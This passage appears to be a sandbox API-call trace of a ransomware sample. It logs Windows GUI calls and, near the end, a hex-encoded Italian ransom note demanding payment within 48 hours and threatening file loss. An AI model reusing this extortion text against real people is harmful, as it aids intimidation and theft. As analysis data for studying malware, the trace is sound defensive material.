hWnd=0x2020e, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.668] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.668] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0154.668] GetClientRect (in: hWnd=0x2020e, lpRect=0x19dcf0 | out: lpRect=0x19dcf0) returned 1 [0154.668] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19dcf0 | out: lpRect=0x19dcf0) returned 1 [0154.668] GetParent (hWnd=0x2020e) returned 0x8004e [0154.668] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dcf0, cPoints=0x2 | out: lpPoints=0x19dcf0) returned -16187697 [0154.668] GetClientRect (in: hWnd=0x2020e, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.668] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.668] GetParent (hWnd=0x2020e) returned 0x8004e [0154.669] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e450, cPoints=0x2 | out: lpPoints=0x19e450) returned -16187697 [0154.669] GetParent (hWnd=0x2020e) returned 0x8004e [0154.669] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.669] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.669] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.669] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.669] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.670] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de4c | out: lpRect=0x19de4c) returned 1 [0154.670] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.670] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.670] GetSystemMetrics (nIndex=42) returned 0 [0154.670] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0154.670] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0154.670] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.670] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.670] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.670] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.670] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.670] SaveDC (hdc=0x1e0106e1) returned 1 [0154.670] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.670] CreateSolidBrush (color=0x323533) returned 0x7310071f [0154.670] FillRect (hDC=0x1e0106e1, lprc=0x19dbf4, hbr=0x7310071f) returned 1 [0154.670] DeleteObject (ho=0x7310071f) returned 1 [0154.670] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.670] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.670] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.670] GetSystemMetrics (nIndex=42) returned 0 [0154.670] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dccc, nMaxCount=1 | out: lpString="") returned 0 [0154.670] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dccc) returned 0x0 [0154.671] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.671] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.671] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.671] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.671] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.671] SaveDC (hdc=0x1e0106e1) returned 1 [0154.671] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.671] CreateSolidBrush (color=0x323533) returned 0x7410071f [0154.671] FillRect (hDC=0x1e0106e1, lprc=0x19db94, hbr=0x7410071f) returned 1 [0154.671] DeleteObject (ho=0x7410071f) returned 1 [0154.671] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.671] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.671] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.671] GetSystemMetrics (nIndex=42) returned 0 [0154.671] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dccc, nMaxCount=1 | out: lpString="") returned 0 [0154.671] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dccc) returned 0x0 [0154.673] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.673] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.673] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.673] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.673] GetClientRect (in: hWnd=0x2020e, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.673] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.673] GetParent (hWnd=0x2020e) returned 0x8004e [0154.673] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e450, cPoints=0x2 | out: lpPoints=0x19e450) returned -16187697 [0154.674] GetParent (hWnd=0x2020e) returned 0x8004e [0154.674] GetWindow (hWnd=0x2020e, uCmd=0x3) returned 0x0 [0154.674] SetWindowPos (hWnd=0x2020e, hWndInsertAfter=0x90016, X=0, Y=0, cx=0, cy=0, uFlags=0x3) [0154.674] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x46, wParam=0x0, lParam=0x19e73c) returned 0x0 [0154.674] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.674] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.674] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.675] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.675] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de0c | out: lpRect=0x19de0c) returned 1 [0154.675] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.675] GetSystemMetrics (nIndex=42) returned 0 [0154.675] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dcec, nMaxCount=1 | out: lpString="") returned 0 [0154.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dcec) returned 0x0 [0154.675] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.675] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.675] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.675] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.675] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.675] SaveDC (hdc=0x1e0106e1) returned 1 [0154.675] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.676] CreateSolidBrush (color=0x323533) returned 0x7510071f [0154.676] FillRect (hDC=0x1e0106e1, lprc=0x19dbb4, hbr=0x7510071f) returned 1 [0154.676] DeleteObject (ho=0x7510071f) returned 1 [0154.676] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.676] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.676] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.676] GetSystemMetrics (nIndex=42) returned 0 [0154.676] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.676] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.676] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.676] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.676] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.676] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.676] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.676] SaveDC (hdc=0x1e0106e1) returned 1 [0154.676] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.676] CreateSolidBrush (color=0x323533) returned 0x7610071f [0154.676] FillRect (hDC=0x1e0106e1, lprc=0x19db54, hbr=0x7610071f) returned 1 [0154.676] DeleteObject (ho=0x7610071f) returned 1 [0154.676] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.677] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.677] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.677] GetSystemMetrics (nIndex=42) returned 0 [0154.677] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.677] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.678] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.678] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.679] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.679] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.679] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.679] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0154.679] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de0c | out: lpRect=0x19de0c) returned 1 [0154.679] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.679] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.679] GetSystemMetrics (nIndex=42) returned 0 [0154.679] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dcec, nMaxCount=1 | out: lpString="") returned 0 [0154.679] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dcec) returned 0x0 [0154.679] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.680] SaveDC (hdc=0x1b010670) returned 1 [0154.680] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.680] CreateSolidBrush (color=0x323533) returned 0x7710071f [0154.680] FillRect (hDC=0x1b010670, lprc=0x19dbb4, hbr=0x7710071f) returned 1 [0154.680] DeleteObject (ho=0x7710071f) returned 1 [0154.680] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.680] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.680] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.680] GetSystemMetrics (nIndex=42) returned 0 [0154.680] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.680] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.680] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.680] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.680] SaveDC (hdc=0x1b010670) returned 1 [0154.681] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.681] CreateSolidBrush (color=0x323533) returned 0x7810071f [0154.682] FillRect (hDC=0x1b010670, lprc=0x19db54, hbr=0x7810071f) returned 1 [0154.682] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x14, wParam=0x1b010670, lParam=0x0) [0154.682] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.683] IsChild (hWndParent=0x2020e, hWnd=0x1023e) returned 0 [0154.683] GetParent (hWnd=0x2020e) returned 0x8004e [0154.683] GetWindowLongW (hWnd=0x2020e, nIndex=-20) returned 512 [0154.683] DestroyWindow (hWnd=0x2020e) returned 1 [0154.683] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.683] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x20e0002, lParam=0x2020e) returned 0x0 [0154.683] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.683] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x46, wParam=0x0, lParam=0x19e66c) returned 0x0 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x47, wParam=0x0, lParam=0x19e66c) returned 0x0 [0154.684] GetClientRect (in: hWnd=0x2020e, lpRect=0x19e340 | out: lpRect=0x19e340) returned 1 [0154.684] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19e340 | out: lpRect=0x19e340) returned 1 [0154.684] GetParent (hWnd=0x2020e) returned 0x8004e [0154.684] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e340, cPoints=0x2 | out: lpPoints=0x19e340) returned -16187697 [0154.684] GetParent (hWnd=0x2020e) returned 0x8004e [0154.684] SendMessageW (hWnd=0x2020e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0154.684] SendMessageW (hWnd=0x2020e, Msg=0xb0, wParam=0x2f868c0, lParam=0x19e340) returned 0x0 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xb0, wParam=0x2f868c0, lParam=0x19e340) returned 0x0 [0154.684] GetWindowTextLengthW (hWnd=0x2020e) returned 709 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2c5 [0154.684] GetSystemMetrics (nIndex=42) returned 0 [0154.684] CoTaskMemAlloc (cb=0x590) returned 0xf69ff8 [0154.684] GetWindowTextW (in: hWnd=0x2020e, lpString=0xf69ff8, nMaxCount=710 | out: lpString="\x42\x75\x6f\x6e\x61\x20\x67\x69\x6f\x72\x6e\x61\x74\x61\x21\x0d\x0a\x0d\x0a\x54\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x73\x75\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x73\x6f\x6e\x6f\x20\x63\x72\x69\x74\x74\x6f\x67\x72\x61\x66\x61\x74\x69\x2e\x0d\x0a\x4c\x61\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x64\x65\x69\x20\x66\x69\x6c\x65\x20\xe8\x20\x70\x6f\x73\x73\x69\x62\x69\x6c\x65\x20\x73\x6f\x6c\x6f\x20\x63\x6f\x6e\x20\x69\x6c\x20\x6e\x6f\x73\x74\x72\x6f\x20\x61\x69\x75\x74\x6f\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x44\x65\x76\x69\x20\x70\x61\x67\x61\x72\x65\x20\x65\x6e\x74\x72\x6f\x20\x34\x38\x20\x6f\x72\x65\x20\x70\x65\x72\x20\x64\x65\x63\x69\x66\x72\x61\x72\x65\x20\x69\x6c\x20\x74\x75\x6f\x0d\x0a\x66\x69\x6c\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x61\x72\x69\x66\x66\x61\x20\x64\x65\x6c\x20\x74\x75\x6f\x20\x70\x61\x65\x73\x65\x2e\x0d\x0a\x4c\x65\x20\x74\x61\x72\x69\x66\x66\x65\x20\x73\x6f\x6e\x6f\x20\x69\x6e\x64\x69\x63\x61\x74\x65\x20\x6e\x65\x6c\x6c\x61\x20\x66\x69\x6e\x65\x73\x74\x72\x61\x20\x64\x61\x20\x73\x69\x6e\x69\x73\x74\x72\x61\x20\x21\x21\x21\x0d\x0a\x45\x20\x63\x6f\x6e\x74\x61\x74\x74\x61\x63\x69\x20\x64\x6f\x70\x6f\x20\x61\x76\x65\x72\x20\x70\x61\x67\x61\x74\x6f\x20\x6c\x61\x20\x74\x75\x61\x20\x63\x68\x69\x61\x76\x65\x20\x64\x69\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x61\x6c\x65\x20\x70\x65\x72\x20\x63\x6f\x6e\x74\x61\x74\x74\x6f\x20\x64\x69\x20\x73\x65\x67\x75\x69\x74\x6f\x3a\x0d\x0a\x0d\x0a\x53\x65\x20\x63\x69\xf2\x20\x6e\x6f\x6e\x20\x61\x63\x63\x61\x64\x65\x2c\x20\x64\x6f\x70\x6f\x20\x37\x32\x20\x6f\x72\x65\x20\x74\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x61\x6e\x64\x72\x61\x6e\x6e\x6f\x20\x70\x65\x72\x73\x69\x2e\x0d\x0a\x49\x6e\x6f\x6c\x74\x72\x65\x2c\x20\x75\x73\x69\x61\x6d\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x6e\x65\x6c\x6c\x65\x20\x6c\x6f\x72\x6f\x20\x61\x7a\x69\x6f\x6e\x69\x20\x69\x6c\x6c\x65\x67\x61\x6c\x69\x2e\x0d\x0a\x45\x20\x71\x75\x61\x6e\x74\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\xe8\x20\x73\x74\x61\x74\x6f\x20\x61\x63\x71\x75\x69\x73\x74\x61\x74\x6f\x20\x64\x61\x20\x74\x65\x20\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x75\x61\x20\x6c\x65\x67\x69\x73\x6c\x61\x7a\x69\x6f\x6e\x65\x0d\x0a\x69\x6c\x20\x70\x61\x65\x73\x65\x20\xe8\x20\x64\x69\x20\x74\x75\x61\x20\x70\x72\x6f\x70\x72\x69\x65\x74\xe0\x0d\x0a\x45\x20\x73\x61\x72\x61\x69\x20\x63\x72\x69\x6d\x69\x6e\x61\x6c\x6d\x65\x6e\x74\x65\x20\x72\x65\x73\x70\x6f\x6e\x73\x61\x62\x69\x6c\x65\x20\x64\x65\x6c\x6c\x65\x20\x6e\x6f\x73\x74\x72\x65\x20\x61\x7a\x69\x6f\x6e\x69\x29\x29\x29\x0d\x0a\x0d\x0a\x53\x62\x72\x69\x67\x61\x74\x69\x20\x61\x20\x70\x61\x67\x61\x72\x65") returned 709 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xd, wParam=0x2c6, lParam=0xf69ff8) returned 0x2c5 [0154.684] CoTaskMemFree (pv=0xf69ff8) [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.684] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.685] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.686] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.686] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.686] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x42\x75\x6f\x6e\x61\x20\x67\x69\x6f\x72\x6e\x61\x74\x61\x21\x0d\x0a\x0d\x0a\x54\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x73\x75\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x73\x6f\x6e\x6f\x20\x63\x72\x69\x74\x74\x6f\x67\x72\x61\x66\x61\x74\x69\x2e\x0d\x0a\x4c\x61\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x64\x65\x69\x20\x66\x69\x6c\x65\x20\xe8\x20\x70\x6f\x73\x73\x69\x62\x69\x6c\x65\x20\x73\x6f\x6c\x6f\x20\x63\x6f\x6e\x20\x69\x6c\x20\x6e\x6f\x73\x74\x72\x6f\x20\x61\x69\x75\x74\x6f\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x44\x65\x76\x69\x20\x70\x61\x67\x61\x72\x65\x20\x65\x6e\x74\x72\x6f\x20\x34\x38\x20\x6f\x72\x65\x20\x70\x65\x72\x20\x64\x65\x63\x69\x66\x72\x61\x72\x65\x20\x69\x6c\x20\x74\x75\x6f\x0d\x0a\x66\x69\x6c\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x61\x72\x69\x66\x66\x61\x20\x64\x65\x6c\x20\x74\x75\x6f\x20\x70\x61\x65\x73\x65\x2e\x0d\x0a\x4c\x65\x20\x74\x61\x72\x69\x66\x66\x65\x20\x73\x6f\x6e\x6f\x20\x69\x6e\x64\x69\x63\x61\x74\x65\x20\x6e\x65\x6c\x6c\x61\x20\x66\x69\x6e\x65\x73\x74\x72\x61\x20\x64\x61\x20\x73\x69\x6e\x69\x73\x74\x72\x61\x20\x21\x21\x21\x0d\x0a\x45\x20\x63\x6f\x6e\x74\x61\x74\x74\x61\x63\x69\x20\x64\x6f\x70\x6f\x20\x61\x76\x65\x72\x20\x70\x61\x67\x61\x74\x6f\x20\x6c\x61\x20\x74\x75\x61\x20\x63\x68\x69\x61\x76\x65\x20\x64\x69\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x61\x6c\x65\x20\x70\x65\x72\x20\x63\x6f\x6e\x74\x61\x74\x74\x6f\x20\x64\x69\x20\x73\x65\x67\x75\x69\x74\x6f\x3a\x0d\x0a\x0d\x0a\x53\x65\x20\x63\x69\xf2\x20\x6e\x6f\x6e\x20\x61\x63\x63\x61\x64\x65\x2c\x20\x64\x6f\x70\x6f\x20\x37\x32\x20\x6f\x72\x65\x20\x74\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x61\x6e\x64\x72\x61\x6e\x6e\x6f\x20\x70\x65\x72\x73\x69\x2e\x0d\x0a\x49\x6e\x6f\x6c\x74\x72\x65\x2c\x20\x75\x73\x69\x61\x6d\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x6e\x65\x6c\x6c\x65\x20\x6c\x6f\x72\x6f\x20\x61\x7a\x69\x6f\x6e\x69\x20\x69\x6c\x6c\x65\x67\x61\x6c\x69\x2e\x0d\x0a\x45\x20\x71\x75\x61\x6e\x74\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\xe8\x20\x73\x74\x61\x74\x6f\x20\x61\x63\x71\x75\x69\x73\x74\x61\x74\x6f\x20\x64\x61\x20\x74\x65\x20\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x75\x61\x20\x6c\x65\x67\x69\x73\x6c\x61\x7a\x69\x6f\x6e\x65\x0d\x0a\x69\x6c\x20\x70\x61\x65\x73\x65\x20\xe8\x20\x64\x69\x20\x74\x75\x61\x20\x70\x72\x6f\x70\x72\x69\x65\x74\xe0\x0d\x0a\x45\x20\x73\x61\x72\x61\x69\x20\x63\x72\x69\x6d\x69\x6e\x61\x6c\x6d\x65\x6e\x74\x65\x20\x72\x65\x73\x70\x6f\x6e\x73\x61\x62\x69\x6c\x65\x20\x64\x65\x6c\x6c\x65\x20\x6e\x6f\x73\x74\x72\x65\x20\x61\x7a\x69\x6f\x6e\x69\x29\x29\x29\x0d\x0a\x0d\x0a\x53\x62\x72\x69\x67\x61\x74\x69\x20\x61\x20\x70\x61\x67\x61\x72\x65", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x3020e [0154.686] SetWindowLongW (hWnd=0x3020e, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.687] GetWindowLongW (hWnd=0x3020e, nIndex=-4) returned 1876218976 [0154.687] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.688] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x83, wParam=0x0, lParam=0x19e10c) returned 0x0 [0154.689] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x1, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.689] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x7c, wParam=0xfffffff0, lParam=0x19db0c) returned 0x0 [0154.689] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x7d, wParam=0xfffffff0, lParam=0x19db0c) returned 0x1 [0154.701] GetWindow (hWnd=0x3020e, uCmd=0x3) returned 0x90016 [0154.701] GetClientRect (in: hWnd=0x3020e, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.701] GetWindowRect (in: hWnd=0x3020e, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.701] GetParent (hWnd=0x3020e) returned 0x8004e [0154.701] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dde0, cPoints=0x2 | out: lpPoints=0x19dde0) returned -16187697 [0154.701] SendMessageW (hWnd=0x3020e, Msg=0x30, wParam=0x550a06e0, lParam=0x0) returned 0x1 [0154.701] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x30, wParam=0x550a06e0, lParam=0x0) returned 0x1 [0154.703] SetWindowTextW (hWnd=0x3020e, 